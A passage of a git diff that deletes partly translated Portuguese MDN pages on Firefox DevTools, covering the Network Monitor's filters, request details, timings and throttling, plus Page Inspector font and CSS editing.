-<p>From Firefox 45,  you can filter requests that <em>don't</em> contain your filter string by prefixing your query with the "-" operator. For example, the query "-google.com" will show all requests that don't have "google.com" in their URL.</p>
-
-<h4 id="Filtering_by_properties">Filtering by properties</h4>
-
-<div class="geckoVersionNote">
-<p>Novo na versão 55 do in Firefox</p>
-</div>
-
-<p>To filter by specific request properties, use the search box in the <a href="/en-US/docs/Tools/Network_Monitor#Toolbar">toolbar</a>. The search box recognizes specific keywords, which can be used to filter the requests by specific request properties. Those keywords are followed by a colon and a related filter value. The filter values are matched case insensitive. Prepending a minus (<code>-</code>) negates the filter. You can combine different filters together by seperating them with a space.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Palavra-chave</th>
- <th scope="col">Significado</th>
- <th scope="col">Exemplos</th>
- </tr>
- <tr>
- <td><code>status-code</code></td>
- <td>Shows resources that have the specific HTTP status code.</td>
- <td><code>status-code:304</code></td>
- </tr>
- <tr>
- <td><code>method</code></td>
- <td>Shows resources that have were requested via the specific HTTP request method.</td>
- <td><code>method:post</code></td>
- </tr>
- <tr>
- <td><code>domain</code></td>
- <td>Shows resources coming from a specifc domain.</td>
- <td><code>domain:mozilla.org</code></td>
- </tr>
- <tr>
- <td><code>remote-ip</code></td>
- <td>Shows resources coming from a server with the specified IP.</td>
- <td><code>remote-ip:63.245.215.53</code><br>
- <code>remote-ip:[2400:cb00:2048:1::6810:2802]</code></td>
- </tr>
- <tr>
- <td><code>cause</code></td>
- <td>Shows resources matching a specific cause type. The types can be found in the description of the <a href="#Cause_column">cause column</a>.</td>
- <td><code>cause:js</code><br>
- <code>cause:stylesheet<br>
- cause:img</code></td>
- </tr>
- <tr>
- <td><code>transferred</code></td>
- <td>Shows resources having a specific transferred size or a transferred size close to the one specified.  <code>k</code> can be used as suffix for kilobytes and <code>m</code> for megabytes, e.g. the value <code>1k</code> is equivalent to <code>1024</code>.</td>
- <td><code>transferred:1k</code></td>
- </tr>
- <tr>
- <td><code>size</code></td>
- <td>Shows resources having a specific size (after decompression) or a size close to the one specified. <code>k</code> can be used as suffix for kilobytes and <code>m</code> for megabytes, e.g. the value <code>1k</code> is equivalent to <code>1024</code>.</td>
- <td><code>size:2m</code></td>
- </tr>
- <tr>
- <td><code>larger-than</code></td>
- <td>Shows resources that are larger than the specified size in bytes. <code>k</code> can be used as suffix for kilobytes and <code>m</code> for megabytes, e.g. the value <code>1k</code> is equivalent to <code>1024</code>.</td>
- <td><code>larger-than:2000</code><br>
- <code>-larger-than:4k</code></td>
- </tr>
- <tr>
- <td><code>mime-type</code></td>
- <td>Shows resources that match the specified MIME type.</td>
- <td><code>mime-type:text/html</code><br>
- <code>mime-type:image/png</code><br>
- <code>mime-type:application/javascript</code></td>
- </tr>
- <tr>
- <td><code>is</code></td>
- <td><code>is:cached</code> and <code>is:from-cache</code> shows only resources coming from cache.<br>
- <code>is:running</code> shows only resources, which are currently being transferred.</td>
- <td><code>is:cached</code><br>
- <code>-is:running</code></td>
- </tr>
- <tr>
- <td><code>scheme</code></td>
- <td>Shows resources transferred via the given scheme.</td>
- <td><code>scheme:http</code></td>
- </tr>
- <tr>
- <td><code>has-response-header</code></td>
- <td>Shows resources that contain the specified HTTP response header.</td>
- <td><code>has-response-header:cache-control</code><br>
- <code>has-response-header:X-Firefox-Spdy</code></td>
- </tr>
- <tr>
- <td><code>set-cookie-domain</code></td>
- <td>Shows the resources that have a <code>Set-Cookie</code> header with a <code>Domain</code> attribute that matches the specified value.</td>
- <td><code>set-cookie-domain:.mozilla.org</code></td>
- </tr>
- <tr>
- <td><code>set-cookie-name</code></td>
- <td>Shows the resources that have a <code>Set-Cookie</code> header with a name that matches the specified value.</td>
- <td><code>set-cookie-name:_ga</code></td>
- </tr>
- <tr>
- <td><code>set-cookie-value</code></td>
- <td>Shows the resources that have a <code>Set-Cookie</code> header with a value that matches the specified value.</td>
- <td><code>set-cookie-value:true</code></td>
- </tr>
- <tr>
- <td><code>regexp</code></td>
- <td>Shows the resources having a URL that matches the given {{Glossary("regular expression")}}.</td>
- <td><code>regexp:\d{5}<br>
- regexp:mdn|mozilla</code></td>
- </tr>
- </thead>
-</table>
-
-<h3 id="Menu_de_contecto">Menu de contecto</h3>
-
-<p>Context-clicking on a row in the list displays a context menu with the following options:</p>
-
-<ul>
- <li>Copy URL</li>
- <li>Copy URL Parameters (new in Firefox 40)</li>
- <li>Copy POST Data (new in Firefox 40, only for POST requests)</li>
- <li>Copy as cURL</li>
- <li>Copy Request Headers (new in Firefox 40)</li>
- <li>Copy Response Headers (new in Firefox 40)</li>
- <li>Copy Response (new in Firefox 40)</li>
- <li>Copy Image as Data URI (only for images)</li>
- <li>Copy All As HAR (new in Firefox 41)</li>
- <li>Save All As HAR (new in Firefox 41)</li>
- <li>Save Image As (new in Firefox 55, only for images)</li>
- <li>Edit and Resend</li>
- <li>Open in New Tab</li>
- <li>Start <a href="/en-US/docs/Tools/Network_Monitor#Performance_analysis">Performance Analysis</a> for the page</li>
-</ul>
-
-<h4 id="Edit_and_Resend">Edit and Resend</h4>
-
-<p>This option opens an editor enabling you to edit the request's method, URL, parameters, and headers, and resend the request.</p>
-
-<h4 id="Open_in_New_Tab">Open in New Tab</h4>
-
-<p>Resends the request in a new tab — very useful for debugging asynchronous requests.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: Since Firefox 59, POST requests are correctly resent as POST requests ({{bug(1220758)}}), with the expected POST parameters ({{bug(1407515)}}).</p>
-</div>
-
-<h4 id="Copy_as_cURL">Copy as cURL</h4>
-
-<p>This option copies the network request to the clipboard as a <a href="http://curl.haxx.se/">cURL</a> command, so you can execute it from a command line. The command may include the following options:</p>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td><code>-X [METHOD]</code></td>
- <td>If the method is not GET or POST</td>
- </tr>
- <tr>
- <td><code>--data</code></td>
- <td>For URL encoded request parameters</td>
- </tr>
- <tr>
- <td><code>--data-binary</code></td>
- <td>For multipart request parameters</td>
- </tr>
- <tr>
- <td><code>--http/VERSION</code></td>
- <td>If the HTTP version is not 1.1</td>
- </tr>
- <tr>
- <td><code>-I</code></td>
- <td>If the method is HEAD</td>
- </tr>
- <tr>
- <td><code>-H</code></td>
- <td>
- <p>One for each request header.</p>
-
- <p>From Firefox 34, if the "Accept-Encoding" header is present, the cURL command will include <code>--compressed</code> instead of <code>-H "Accept-Encoding: gzip, deflate"</code>. This means that the response will be automatically decompressed.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h4 id="CopySave_All_As_HAR">Copy/Save All As HAR</h4>
-
-<p>These options create an <a href="https://w3c.github.io/web-performance/specs/HAR/Overview.html">HTTP Archive</a> (HAR) for all requests listed. The HAR format enables you to export detailed information about network requests. 'Copy All As HAR' copies the data to the clipboard, 'Save All As HAR' opens a dialog allowing you to save the archive to disk.</p>
-
-<p>Note that as of Firefox 61, we have included a toolbar menu to make these options easier to discover ({{bug(1403530)}}). The new 'HAR' dropdown menu includes both the 'Copy All As HAR' and 'Save All As HAR' commands, as well as an 'Import...' option.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16056/har-dropdown.png" style="border-style: solid; border-width: 1px; height: 262px; width: 723px;"></p>
-
-<h2 id="Detalhes_do_pedido_de_rede">Detalhes do pedido de rede</h2>
-
-<p>Clicking on a row displays a new pane in the right-hand side of the network monitor, which provides more detailed information about the request.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13274/nm-headers-annotated.png" style="display: block; height: 436px; margin-left: auto; margin-right: auto; width: 935px;"></p>
-
-<p>The tabs at the top of this pane enable you to switch between the following pages:</p>
-
-<ul>
- <li><strong>Headers</strong></li>
- <li><strong>Cookies</strong></li>
- <li><strong>Params</strong></li>
- <li><strong>Response</strong></li>
- <li><strong>Cache</strong></li>
- <li><strong>Timings</strong></li>
- <li><strong>Security </strong>(only for secure pages)</li>
- <li><strong>Stack trace</strong> (only when the request has a stack trace, e.g. a script called by another script). This has been available since Firefox 55.</li>
-</ul>
-
-<p>Clicking the icon at the right-hand end of the <a href="/en-US/docs/Tools/Network_Monitor#Toolbar">toolbar</a> closes the details pane and returns you to the list view.</p>
-
-<h3 id="Cabeçalhos">Cabeçalhos</h3>
-
-<p>This tab lists basic information about the request:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15013/headers-updated-2.png" style="display: block; height: 439px; margin-left: auto; margin-right: auto; width: 894px;"></p>
-
-<p>This includes:</p>
-
-<ul>
- <li>Request URL</li>
- <li>Request method</li>
- <li>Remote IP address and port <em>(new in Firefox 39)</em></li>
- <li>Status code with question mark icon linking to MDN doc for more details (if available)</li>
- <li>The HTTP request and response headers that were sent</li>
- <li>An <em>Edit and Resend</em> button to <a href="/en-US/docs/Tools/Network_Monitor#Edit_and_Resend">edit and resend</a> the request</li>
- <li>A <em>Raw headers</em> button to display the raw request and response headers</li>
-</ul>
-
-<p>You can filter the headers that are displayed:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13244/nm-headers-filtered.png" style="display: block; height: 516px; margin-left: auto; margin-right: auto; width: 894px;"></p>
-
-<div class="geckoVersionNote">
-<p>New in Firefox 54</p>
-</div>
-
-<p>From Firefox 54 onwards, you will see a question mark icon next to each header in the <em>Status code</em> row — this is a link to more information about that particular status code, in the MDN <a href="/en-US/docs/Web/HTTP/Headers">documentation of the HTTP headers</a>.</p>
-
-<h3 id="Cookies">Cookies</h3>
-
-<p>This tab lists full details of any cookies sent with the request or response:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13240/nm-cookies.png" style="display: block; height: 464px; margin-left: auto; margin-right: auto; width: 894px;"></p>
-
-<p>As with headers, you can filter the list of cookies displayed. The full list of cookie attributes is shown — see the below screenshot from a Response cookies examples with further attributes shown.</p>
-
-<p><img alt="cookies panel in firefox devtools network monitor, showing a number of cookie attributes including samesite" src="https://mdn.mozillademos.org/files/16108/highlight-samesite-attribute.png" style="display: block; height: 394px; margin: 0px auto; width: 1047px;"></p>
-
-<p>The <code>samesite</code> attribute has been shown since Firefox 62 ({{bug("1452715")}}).</p>
-
-<h3 id="Paramêtros">Paramêtros</h3>
-
-<p>This tab displays the GET parameters and POST data of a request:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13254/nm-params.png" style="display: block; height: 462px; margin-left: auto; margin-right: auto; width: 894px;"></p>
-
-<h3 id="Resposta">Resposta</h3>
-
-<p>The complete content of the response. If the response is HTML, JS, or CSS, it will be shown as text:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13258/nm-response.png" style="display: block; height: 462px; margin-left: auto; margin-right: auto; width: 894px;"></p>
-
-<p>If the response is JSON, it will be shown as an inspectable object.</p>
-
-<p>If the response is an image, the tab displays a preview:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13260/nm-response-image.png" style="display: block; height: 510px; margin-left: auto; margin-right: auto; width: 894px;"></p>
-
-<h4 id="Cache">Cache</h4>
-
-<p>If the response is cached (i.e. a 304), the Cache tab will display details about that cached resource.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16057/cache-panel.png" style="display: block; height: 196px; margin: 0px auto; width: 524px;"></p>
-
-<p>These details include:</p>
-
-<ul>
- <li>Last fetched: The date the resource was last fetched.</li>
- <li>Fetched count: The number of times in the current session that the resource has been fetched.</li>
- <li>Data size: The size of the resource.</li>
- <li>Last modified: The date the resource was last modified.</li>
- <li>Expires: The date the resource expires.</li>
- <li>Device: The device the resource was fetched from (e.g. "disk").</li>
-</ul>
-
-<h4 id="HTML_preview">HTML preview</h4>
-
-<p>From Firefox 59 onwards, if the response is HTML, a preview of the rendered HTML appears inside the Response tab, above the response payload.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15781/response-html-preview.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
-
-<h3 id="Timings">Timings</h3>
-
-<p>The Timings tab breaks a network request down into the following subset of the stages defined in the <a href="https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/HAR/Overview.html">HTTP Archive</a> specification:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Nome</th>
- <th scope="col">Descrição</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>Blocked</td>
- <td>
- <p>Time spent in a queue waiting for a network connection.</p>
-
- <p>The browser imposes a limit on the number of simultaneous connections that can be made to a single server. In Firefox this defaults to 6, but can be changed using the <code><a href="http://kb.mozillazine.org/Network.http.max-persistent-connections-per-server">network.http.max-persistent-connections-per-server</a></code> preference. If all connections are in use, the browser can't download more resources until a connection is released.</p>
- </td>
- </tr>
- <tr>
- <td>DNS resolution</td>
- <td>Time taken to resolve a host name.</td>
- </tr>
- <tr>
- <td>Connecting</td>
- <td>Time taken to create a TCP connection.</td>
- </tr>
- <tr>
- <td>Sending</td>
- <td>Time taken to send the HTTP request to the server.</td>
- </tr>
- <tr>
- <td>Waiting</td>
- <td>Waiting for a response from the server.</td>
- </tr>
- <tr>
- <td>Receiving</td>
- <td>Time taken to read the entire response from the server (or cache).</td>
- </tr>
- </tbody>
-</table>
-
-<p>It presents a more detailed, annotated, view of the timeline bar for that request showing how the total wait time is split into the various stages:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13264/nm-timings.png" style="display: block; height: 466px; margin-left: auto; margin-right: auto; width: 894px;"></p>
-
-<h3 id="Segurança">Segurança</h3>
-
-<p>If the site is being served over HTTPS, you get an extra tab labeled "Security". This contains details about the secure connection used including the protocol, the cipher suite, and certificate details:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13262/nm-security.png" style="display: block; height: 231px; margin-left: auto; margin-right: auto; width: 894px;"></p>
-
-<p>The Security tab shows a warning for security weaknesses. Currently it warns you about two weaknesses:</p>
-
-<ol>
- <li>Using SSLv3 instead of TLS</li>
- <li>Using the RC4 cipher</li>
-</ol>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10165/security-warning.png" style="display: block; height: 93px; margin-left: auto; margin-right: auto; width: 591px;"></p>
-
-<h3 id="Stack_trace">Stack trace</h3>
-
-<p>Since Firefox 55, stack traces are shown in the <em>Stack Trace</em> tab, for responses that have a stack trace of course.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15782/stack-trace.png" style="display: block; margin: 0 auto;"></p>
-
-<h2 id="Pausing_and_resume_network_traffic_recording">Pausing and resume network traffic recording</h2>
-
-<p>In Firefox 58 and above, the Network Monitor has a button that pauses and resumes recording of the current page's network traffic. This is useful in situations where, for example, you are trying to get a stable view of a page for debugging purposes, but under normal circumstances the view keeps evolving due to persistent network requests. The pause button allows you to look at a certain snapshot.</p>
-
-<p>The button can be found at the far left of the main Network Monitor toolbar, and looks like a typical pause button — <img alt="" src="https://mdn.mozillademos.org/files/15625/pause-icon.png" style="height: 23px; width: 34px;">.</p>
-
-<p>You can see it here in context:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15624/play-pause-network-traffic.png" style="border-style: solid; border-width: 1px; display: block; height: 305px; margin: 0px auto; width: 930px;"></p>
-
-<p>Once pressed, the button changes to a play icon, and you can toggle network traffic recording back on by pressing it again.</p>
-
-<h2 id="Análise_de_desempenho">Análise de desempenho</h2>
-
-<p>The Network Monitor includes a performance analysis tool, to help show you how long the browser takes to download the different parts of your site.<br>
- <br>
- To run the performance analysis tool click the stopwatch icon in the <a href="/en-US/docs/Tools/Network_Monitor#Toolbar">toolbar</a>.</p>
-
-<p>(Alternatively, if you have only just opened the Network Monitor, so it's not yet populated with the list of requests, you'll get a stopwatch icon in the main window.)</p>
-
-<p>The Network Monitor then loads the site twice: once with an empty browser cache, and once with a primed browser cache. This simulates the first time a user visits your site, and subsequent visits. It displays the results for each run side by side, or vertically if the browser window is narrow:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/12864/nm-performance.png" style="display: block; height: 1028px; margin-left: auto; margin-right: auto; width: 691px;"></p>
-
-<p>The results for each run are summarised in a table and a pie chart. The tables group resources by type, and show the total size of each resource and the total time it took to load them. The accompanying pie chart shows the relative size of each resource type.</p>
-
-<p>To get back to the Network Monitor's list of network requests click the "Back" button on the left.</p>
-
-<p>Clicking on a slice of the pie takes you to the Network Monitor for that run, with a filter automatically applied to see <a href="/en-US/docs/Tools/Network_Monitor#Filtering_by_content_type">only that resource type</a>.</p>
-
-<h2 id="Throttling">Throttling</h2>
-
-<p>In Firefox 61 onwards, the toolbar includes a Throttling dropdown, which allows you to throttle your network speed to emulate various different network speed conditions. Simply choose an option from the menu, and it will persist across reloads.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16058/throttling.png" style="display: block; height: 186px; margin: 0px auto; width: 149px;"></p>
-
-<p>The characteristics emulated are:</p>
-
-<ul>
- <li>Download speed</li>
- <li>Upload speed</li>
- <li>Minimum latency</li>
-</ul>
-
-<p>The table below lists the numbers associated with each network type, but please do not rely on this feature for exact performance measurements; it's intended to give an approximate idea of the user experience in different conditions.</p>
-
-<table class="fullwidth-table standard-table">
- <thead>
- <tr>
- <th scope="col">Seleção</th>
- <th scope="col">Velocidade de transferência</th>
- <th scope="col">Velocidade de envio</th>
- <th scope="col">Latência mínima (ms)</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>GPRS</td>
- <td>50 KB/s</td>
- <td>20 KB/s</td>
- <td>500</td>
- </tr>
- <tr>
- <td>Regular 2G</td>
- <td>250 KB/s</td>
- <td>50 KB/s</td>
- <td>300</td>
- </tr>
- <tr>
- <td>Good 2G</td>
- <td>450 KB/s</td>
- <td>150 KB/s</td>
- <td>150</td>
- </tr>
- <tr>
- <td>Regular 3G</td>
- <td>750 KB/s</td>
- <td>250 KB/s</td>
- <td>100</td>
- </tr>
- <tr>
- <td>Good 3G</td>
- <td>1.5 MB/s</td>
- <td>750 KB/s</td>
- <td>40</td>
- </tr>
- <tr>
- <td>Regular 4G/LTE</td>
- <td>4 MB/s</td>
- <td>3 MB/s</td>
- <td>20</td>
- </tr>
- <tr>
- <td>DSL</td>
- <td>2 MB/s</td>
- <td>1 MB/s</td>
- <td>5</td>
- </tr>
- <tr>
- <td>Wi-Fi</td>
- <td>30 MB/s</td>
- <td>15 MB/s</td>
- <td>2</td>
- </tr>
- </tbody>
-</table>
diff --git a/files/pt-pt/tools/page_inspector/how_to/edit_fonts/index.html b/files/pt-pt/tools/page_inspector/how_to/edit_fonts/index.html
deleted file mode 100644
index 754f2d327b..0000000000
--- a/files/pt-pt/tools/page_inspector/how_to/edit_fonts/index.html
+++ /dev/null
@@ -1,29 +0,0 @@
----
-title: Visualizar tipos de letra
-slug: Tools/Page_Inspector/How_to/Edit_fonts
-tags:
- - Ferramentas
- - Guia(2)
- - Inspetor
-translation_of: Tools/Page_Inspector/How_to/Edit_fonts
-original_slug: Tools/Page_Inspector/How_to/Visualizar_tipos_de_letra
----
-<div>{{ToolsSidebar}}</div><h2 id="Dica_da_ferramenta_da_família_do_tipo_de_letra">Dica da ferramenta da família do tipo de letra</h2>
-
-<p>Se passar o rato sobre uma propriedade da <a href="/pt-PT/docs/Web/CSS/font-family"><code>família do tipo de letra</code></a> em <a href="/pt-PT/docs/Tools/Page_Inspector/Guia_de_IU#Visualizar_Regras">visualizar Regras</a>, irá obter uma dica de ferramenta com uma amostra desse tipo de letra:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9957/font-popup.png" style="display: block; margin-left: auto; margin-right: auto; width: 565px;"></p>
-
-<h2 id="Visualizar_tipos_de_letra">Visualizar tipos de letra</h2>
-
-<div class="warning">
-<p><strong>Apenas </strong>na versão 47 do Firefox , a visualzaição dos Tipos de Letra está desativada por predefinição. Se pretender ver a visualização dos tipos de Letra na versão 47 do Firefox, visite <code>about:config</code>, encontre a preferência <code>devtools.fontinspector.enabled</code>, e defina-a para "<code>true"</code>.</p>
-
-<p>Antes e depois da versão 47 do Firefox, a visualização dos Tipos de letra está ativada por predefinição.</p>
-</div>
-
-<p>Em <a href="/pt-PT/docs/Tools/Page_Inspector/Guia_de_IU#Visualizar_tipo_de_letra">visualizar Tipos de Letra </a>mostra todos os tipos de letra em utilziação pelo elemento selecionado. Note que esta mostra o tipo de letra utilizado no seu sistema, que poderá ser diferente dos tipos de letra especificados na CSS:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10015/css-fonts.png" style="display: block; margin-left: auto; margin-right: auto; width: 451px;"></p>
-
-<p>O texto em 'visualizar tipo de letra' é "Abc" por predefinição, e a partir da versão 41 do Firefox o texto da pré-visualização pode ser editado livremente.</p>
diff --git a/files/pt-pt/tools/page_inspector/how_to/examine_and_edit_css/index.html b/files/pt-pt/tools/page_inspector/how_to/examine_and_edit_css/index.html
deleted file mode 100644
index c7d964641d..0000000000
--- a/files/pt-pt/tools/page_inspector/how_to/examine_and_edit_css/index.html
+++ /dev/null
@@ -1,224 +0,0 @@
----
-title: Examinar e editar CSS
-slug: Tools/Page_Inspector/How_to/Examine_and_edit_CSS
-tags:
- - Ferramentas
- - Guia(2)
- - Inspetor
-translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_CSS
-original_slug: Tools/Page_Inspector/How_to/Examinar_e_editar_CSS
----
-<div>{{ToolsSidebar}}</div><p>Pode examinar e editar CSS no <a href="/pt-PT/docs/Tools/Page_Inspector/Guia_de_IU#Painel_de_CSS">painel de CSS</a> do Inspetor.</p>
-
-<h2 id="Examinar_regras_de_CSS">Examinar regras de CSS</h2>
-
-<p>A <a href="/pt-PT/docs/Tools/Page_Inspector/Guia_de_IU#Visualizar_Regras">visualização de Regras</a> lista todas regras que se aplicam ao elemento selecionado, ordenada pela mais específica para a menos específica:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11203/css-overview.png" style="display: block; height: 510px; margin-left: auto; margin-right: auto; width: 588px;"></p>
-
-<p>The Rules view lists <a href="/en-US/docs/Web/CSS/Cascade">user-agent styles</a> (styles applied by the browser) if the option to do so is checked in the <a href="/en-US/docs/Tools/Tools_Toolbox#Settings_2">developer tool settings</a>. Note that this setting is independent of the "Browser styles" checkbox in the <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Examine_computed_CSS">Computed view</a>.</p>
-
-<p>The Rules view displays all authored styles, including styles that are not supported or that are invalid. This can help you understand why certain styles are not being applied:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/12189/css-as-authored.png" style="display: block; height: 357px; margin-left: auto; margin-right: auto; width: 588px;"></p>
-
-<h3 id="Exibir_regra">Exibir regra</h3>
-
-<p>It displays each rule as in a stylesheet, with a list of selectors followed by a list of <code>property:value;</code> declarations.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11635/css-rule-anatomy.png" style="display: block; height: 488px; margin-left: auto; margin-right: auto; width: 650px;"></p>
-
-<ul>
- <li><em>Highlight matched elements</em>: next to the selector is a target icon: click this to highlight all nodes in the page that match this selector.</li>
- <li><em>Overridden declaration</em>: declarations that are overridden by later rules are crossed out. See <a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Overridden_declarations">overridden declarations</a>.</li>
- <li><em>Show cascade</em>: next to overridden declarations is a magnifying glass: click this to see the cascade of rules containing the overridden property. See <a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Overridden_declarations">overridden declarations</a>.</li>
- <li><em>Enable/disable</em>: if you hover over a declaration, a checkbox appears next to it: you can use this to toggle the declaration on or off.</li>
- <li><em>Filename and line number</em>: on the right-hand side is a link to the rule. See <a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Link_to_CSS_file">link to CSS file</a>.</li>
-</ul>
-
-<p>Starting in Firefox 52, if the element has a <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/display">display: grid</a></code> declaration, then it gets a grid icon next to it, like this: <img alt="" src="https://mdn.mozillademos.org/files/14524/Screen%20Shot%202016-12-16%20at%2010.51.15%20AM.png" style="height: 22px; margin-bottom: -5px; width: 22px;">. Click that icon to display the grid overlaid on the page, including grid lines and tracks. See <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Examine grid layouts</a> for more on this.</p>
-
-<p>User-agent styles are displayed with a different background, and the link to the filename and line number contains the prefix <code>(user agent)</code>:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11207/css-user-agent.png" style="display: block; height: 118px; margin-left: auto; margin-right: auto; width: 585px;"></p>
-
-<h3 id="element_rule">element {} rule</h3>
-
-<p>The <code>element {}</code> rule at the top of the rules list isn't actually a CSS rule. It represents the CSS properties assigned to the element via its {{htmlattrxref("style")}} attribute.</p>
-
-<p>Starting in Firefox 52, this also gets the target icon: <img alt="" src="https://mdn.mozillademos.org/files/14520/target-icon.png" style="height: 22px; margin-bottom: -5px; width: 22px;">, giving you a convenient way to highlight the currently selected element in the page.</p>
-
-<p>{{EmbedYouTube("bQzOAFvEDco")}}</p>
-
-<h3 id="Filtrar_regras">Filtrar regras</h3>
-
-<p>There's a box at the top of the Rules view labeled "Filter Styles":</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11195/css-filter-annotated.png" style="display: block; height: 264px; margin-left: auto; margin-right: auto; width: 606px;">As you type:</p>
-
-<ul>
- <li>any rules which don't contain the typed string at all are hidden</li>
- <li>any declarations which contain the typed string are highlighted</li>
-</ul>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11197/css-filtered.png" style="display: block; height: 382px; margin-left: auto; margin-right: auto; width: 588px;">Click the "X" at the end of the search box to remove the filter.</p>
-
-<div class="note">
-<p>While in the Rules view, you can press <kbd>Ctrl</kbd> / <kbd>Cmd</kbd> + <kbd>F</kbd> to focus the search field. Once you've typed in a filter, you can press <kbd>Esc</kbd> to remove it again.</p>
-</div>
-
-<p>{{EmbedYouTube("9w8vDIWqnAE")}}</p>
-
-<h4 id="Strict_search">Strict search</h4>
-
-<p>By default, the search box highlights all declarations which contain any part of the string. For example, searching for "color" will highlight declarations containing <code><a href="/en-US/docs/Web/CSS/border-bottom-color">border-bottom-color</a></code> and <code><a href="/en-US/docs/Web/CSS/background-color">background-color</a></code> as well as just <code><a href="/en-US/docs/Web/CSS/color">color</a></code>.:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11625/css-search-not-strict.png" style="display: block; margin-left: auto; margin-right: auto; width: 588px;"></p>
-
-<p>If you enclose the search query in ticks, like this: `color`, the search is restricted to exact matches:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11627/css-search-strict.png" style="display: block; margin-left: auto; margin-right: auto; width: 588px;"></p>
-
-<h3 id="Expanding_shorthand_properties">Expanding shorthand properties</h3>
-
-<p><a href="/en-US/docs/Web/CSS/Shorthand_properties">Shorthand properties</a> can be expanded to display their related longhand properties by clicking the arrow besides them.</p>
-
-<h3 id="Displaying_pseudo-elements">Displaying pseudo-elements</h3>
-
-<p>The Rule view displays the following <a href="/en-US/docs/Web/CSS/Pseudo-elements">pseudo-elements</a>, if they are applied to the selected element:</p>
-
-<p><code>::after<br>
- ::backdrop</code><br>
- <code>::before<br>
- ::first-letter<br>
- ::first-line<br>
- ::selection<br>
- :-moz-color-swatch<br>
- :-moz-number-spin-box<br>
- :-moz-number-spin-down<br>
- :-moz-number-spin-up<br>
- :-moz-number-text<br>
- :-moz-number-wrapper<br>
- :-moz-placeholder<br>
- :-moz-progress-bar<br>
- :-moz-range-progress<br>
- :-moz-range-thumb<br>
- :-moz-range-track<br>
- :-moz-selection</code></p>
-
-<p>If the selected element has pseudo-elements applied to it, they are displayed before the selected element but hidden by a disclosure triangle:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11225/css-pseudo-collapsed.png" style="display: block; height: 304px; margin-left: auto; margin-right: auto; width: 626px;"></p>
-
-<p>Clicking the triangle displays them:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11227/css-pseudo-expanded.png" style="display: block; height: 371px; margin-left: auto; margin-right: auto; width: 587px;"></p>
-
-<h3 id="Setting_hover_active_focus">Setting :hover, :active, :focus</h3>
-
-<p>There's a button to the right of the filter box:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11199/css-lock-hover-1.png" style="display: block; height: 510px; margin-left: auto; margin-right: auto; width: 597px;">Click the button to see three checkboxes, which you can use to set the {{cssxref(":hover")}}, {{cssxref(":active")}} and {{cssxref(":focus")}} pseudo-classes for the selected element:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11201/css-lock-hover-2.png" style="display: block; height: 732px; margin-left: auto; margin-right: auto; width: 588px;">This feature can also be accessed from the <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML#Element_popup_menu">popup menu in the HTML view</a>.</p>
-
-<p>If you set one of these pseudo-classes for a node, an orange dot appears in the markup view next to all nodes to which the pseudo-class has been applied:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11637/css-pseudo-class.png" style="display: block; margin-left: auto; margin-right: auto; width: 800px;"></p>
-
-<h3 id="Hiperligação_para_ficheiros_CSS">Hiperligação para ficheiros CSS</h3>
-
-<p>At the top right of each rule, the source filename and line number is displayed as a link: clicking it opens the file in the <a href="/en-US/docs/Tools/Style_Editor" title="/en-US/docs/Tools/Style_Editor">Style Editor</a>.</p>
-
-<p>You can copy the location of the source file: right-click the link and select "Copy Location".</p>
-
